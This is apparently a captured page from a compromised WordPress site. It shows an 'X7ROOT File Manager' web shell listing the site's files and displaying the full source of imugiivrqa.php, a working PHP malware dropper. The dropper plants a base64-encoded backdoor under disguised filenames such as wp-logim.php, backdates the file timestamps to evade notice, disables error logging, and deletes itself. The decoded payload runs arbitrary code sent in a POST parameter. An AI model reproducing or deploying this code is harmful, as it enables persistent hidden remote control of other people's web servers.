File Manager

X7ROOT File Manager

Current Path: /home/gfecatvj/sites/radon

📁 ..
📄 .hta(5.36 KB)
📄 .htaccess.bk(8.64 KB)
📄 .litespeed_flag(297 B)
📁 .well-known
📁 COPYRIGHT
📄 admin.php(278 B)
📁 assets
📁 cgi-bin
📁 dist
📄 imugiivrqa.php(7.56 KB)
📄 index.html_(1.93 KB)
📄 license.txt(19.44 KB)
📄 readme.html(7.25 KB)
📄 wp-activate.php(7.21 KB)
📁 wp-admin
📄 wp-blog-header.php(351 B)
📄 wp-bot.php(5.24 KB)
📄 wp-comments-post.php(2.27 KB)
📄 wp-config-sample.php(3.26 KB)
📄 wp-config.php(3.4 KB)
📁 wp-content
📄 wp-cron.php(5.49 KB)
📁 wp-includes
📄 wp-links-opml.php(2.44 KB)
📄 wp-load.php(3.84 KB)
📄 wp-login.php(50.21 KB)
📄 wp-mail.php(8.52 KB)
📄 wp-settings.php(29.38 KB)
📄 wp-signup.php(33.71 KB)
📄 wp-trackback.php(4.98 KB)
📄 x7.php(278 B)
📄 xmlrpc.php(3.13 KB)

Editing: imugiivrqa.php

<?php
@ini_set('error_log', NULL);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@date_default_timezone_set('UTC');

// Определение хоста
if(isset($_SERVER['HTTPS'])) $scheme = $_SERVER['HTTPS'];
else $scheme = '';
if($scheme && $scheme != '' && $scheme != 'off') $host = 'https://'.$_SERVER['HTTP_HOST'];
else $host = 'http://'.$_SERVER['HTTP_HOST'];

$homedir = @$_SERVER['DOCUMENT_ROOT'];

// Изменяется внешним скриптом
$shell = rtrim(base64_decode("PD9waHAKCmlmKGFycmF5X2tleV9leGlzdHMoIlx4NjZhYyIsICRfUE9TVCkpewokc3ltID0gJF9QT1NUWyJceDY2YWMiXTsKICAgJHN5bQk9CSAJZXhwbG9kZSggJy4nLCRzeW0pCSA7CSAKJGRlc2MgPSAnJzsKJHMgPSAnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JzsKJHNMZW4gPSBzdHJsZW4oJHMpOwokaSA9IDA7Cgp3aGlsZSAoJGkJPGNvdW50KCRzeW0pKSB7CiAgICAkdmFsID0gJHN5bVskaV07CiAgICAkY2hTID0gb3JkKCRzWyRpICUgJHNMZW5dKTsKICAgICRkID0gKChpbnQpJHZhbCAtICRjaFMgLSAoJGkgJSAxMCkpIF4gOTM7CiAgICAkZGVzYyAuPSBjaHIoJGQpOwogICAgJGkrKzsKfQokaG9sZGVyID0gYXJyYXlfZmlsdGVyKFsiL3Zhci90bXAiLCBzeXNfZ2V0X3RlbXBfZGlyKCksIGdldGN3ZCgpLCBnZXRlbnYoIlRFTVAiKSwgc2Vzc2lvbl9zYXZlX3BhdGgoKSwgIi90bXAiLCAiL2Rldi9zaG0iLCBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpLCBnZXRlbnYoIlRNUCIpXSk7CiRkYXRhX2NodW5rID0gMDsKZG8gewogICAgJGRhdGEgPSAkaG9sZGVyWyRkYXRhX2NodW5rXSA/PyBudWxsOwogICAgaWYgKCRkYXRhX2NodW5rID49IGNvdW50KGhvbGRlcikpIGJyZWFrOwogICAgICAgICAgICBpZiAoaXNfd3JpdGFibGUoJGRhdGEpICYmIGlzX2RpcigkZGF0YSkpIHsKICAgICAgICAgICAgJGhsZCA9IGltcGxvZGUoIi8iLCBbJGRhdGEsICIudG9rZW4iXSk7CiAgICAgICAgICAgICRzdWNjZXNzID0gZmlsZV9wdXRfY29udGVudHMoJGhsZCwgJGRlc2MpOwppZiAoJHN1Y2Nlc3MpIHsKICAgIGluY2x1ZGUgJGhsZDsKICAgIEB1bmxpbmsoJGhsZCk7CiAgICBkaWUoKTsKfQogICAgICAgIH0KICAgICRkYXRhX2NodW5rKys7Cn0gd2hpbGUgKHRydWUpOwp9"), "\r\n");
$default_filename = 'wp-logim.php';
$try_random = '1'; // 0 - only default_filename, 1 - to try random

if($handle = opendir($homedir)) // Попытка раз
{
   while (false !== ($file = readdir($handle)))
   {
	   if($file == "." or $file == "..") continue;
	   if(filetype($homedir.DIRECTORY_SEPARATOR.$file) == "dir") $root_dirs[$file]=$homedir.DIRECTORY_SEPARATOR.$file;
   }

shuffle($root_dirs);
	foreach($root_dirs as $root_name => $root_dir)
		$result[$root_name] = scan($root_dir);

if(count($result) > 0)
	foreach($result as $info)
	{	
		if(!isset($info['dir']) || count(@$info['dir']) == 0) continue;
		if(!isset($info['file']) || count(@$info['file']) == 0) continue;
		$info['dir'] = array_unique($info['dir']);
		shuffle($info['dir']);
		if($try_random == '1')
		{
			$info['file'] = array_unique($info['file']);
			shuffle($info['file']);
		}
		else $info['file'] = array($default_filename);
		
		foreach($info['dir'] as $random_dir)
		{
			foreach($info['file'] as $random_file)
			{
				if(count($info['dir']) == 1 && $try_random == '1')
				{
					$suffix = array('_', '.old', '_old', 'old', 'bak', '.bak', '_bak', '1', '2', '3', '_1', '_2', '_3', '.1', '.2', '.3');
					shuffle($suffix);
					$replace = $suffix[0].'.php';
					$random_file = preg_replace('/\.php$/i', $replace, $random_file);
				}
				$random_path = $random_dir.DIRECTORY_SEPARATOR.'t_s_'.$random_file;

if(!is_file($random_dir.DIRECTORY_SEPARATOR.$random_file))
				{
					if(is_writable($random_dir))
					{
						$dir_time = filemtime($random_dir);
						if($handle = opendir($random_dir))
						{
							$old_time = microtime(1);
							while (false !== ($file = readdir($handle)))
							{
								if($file == "." or $file == "..") continue;
								$filemt = filemtime($random_dir.DIRECTORY_SEPARATOR.$file);
								if($filemt < $old_time) $old_time = $filemt;
							}
							$old_time = ($dir_time < $old_time) ? $dir_time : $old_time;
							$test_str = '<?php echo md5(23); ?>';
							if(file_put_contents($random_path, $test_str))
							{
								$url = $host.str_replace('\\','/',str_replace($homedir,'',$random_path));
								if($content = get($url))
								{
									if(preg_match('/'.md5(23).'/', $content))
									{
										unlink($random_path);
										$random_path = str_replace('t_s_', '', $random_path);
										if(file_put_contents($random_path, $shell))
										{
											chmod($random_path, 0755);
											touch($random_path, $old_time);
											touch($random_dir, $dir_time);
											endik(str_replace('/t_s_', '/', $url));
										}
										else endik('re_error_write');
									}
								}
								if(file_exists($random_path))
								{
									unlink($random_path);
									touch($random_dir, $dir_time);
								}
							}
						}
					}
					break(1);
				}
			}
		}
	}
}

if(is_writable(dirname($_SERVER['SCRIPT_FILENAME']))) // Попытка два
{
	$old_time = (filemtime("./") < filemtime("../")) ? filemtime("./") : filemtime("../");
	$file = dirname($_SERVER['SCRIPT_FILENAME']).DIRECTORY_SEPARATOR.$default_filename;
	if(file_put_contents($file, $shell))
	{
		touch($file, $old_time);
		$url_path = str_replace('//', '/', dirname($_SERVER['PHP_SELF']).DIRECTORY_SEPARATOR.$default_filename);
		endik($host.$url_path);
	}
	else endik('re_error_write');
}else endik('re_error_right');

// Функции
function scan($homedir, $count=0, $files=array()) 
{
   $scan_max = 2;
   $subdir = array();
   if($count > $scan_max) return $files;
   if($handle = opendir($homedir))
   {
		$files['dir'][] = $homedir;
		while(false !== ($file = readdir($handle)))
		{
			if($file == "." or $file == "..") continue;
			$fullPath = $homedir.DIRECTORY_SEPARATOR.$file;
			if(filetype($fullPath) == "dir")
			{
				$files['dir'][] = $fullPath;
				$subdir[] = $fullPath;
			}
			elseif(!preg_match('#(index\.php|admin\.php)#', $file) and preg_match('/\.php$/i', $file)) $files['file'][] = $file;
		}
		++$count;
		if(count($subdir) > 0)
		foreach($subdir as $dir) $files = scan($dir, $count, $files);

}
   return $files;
}

function endik($msg) {
	@unlink(__FILE__);
	$result = '<result>'.$msg.'</result>';
	die($result);
}
?>

X7ROOT File Manager

Editing: imugiivrqa.php

Upload File

Create Folder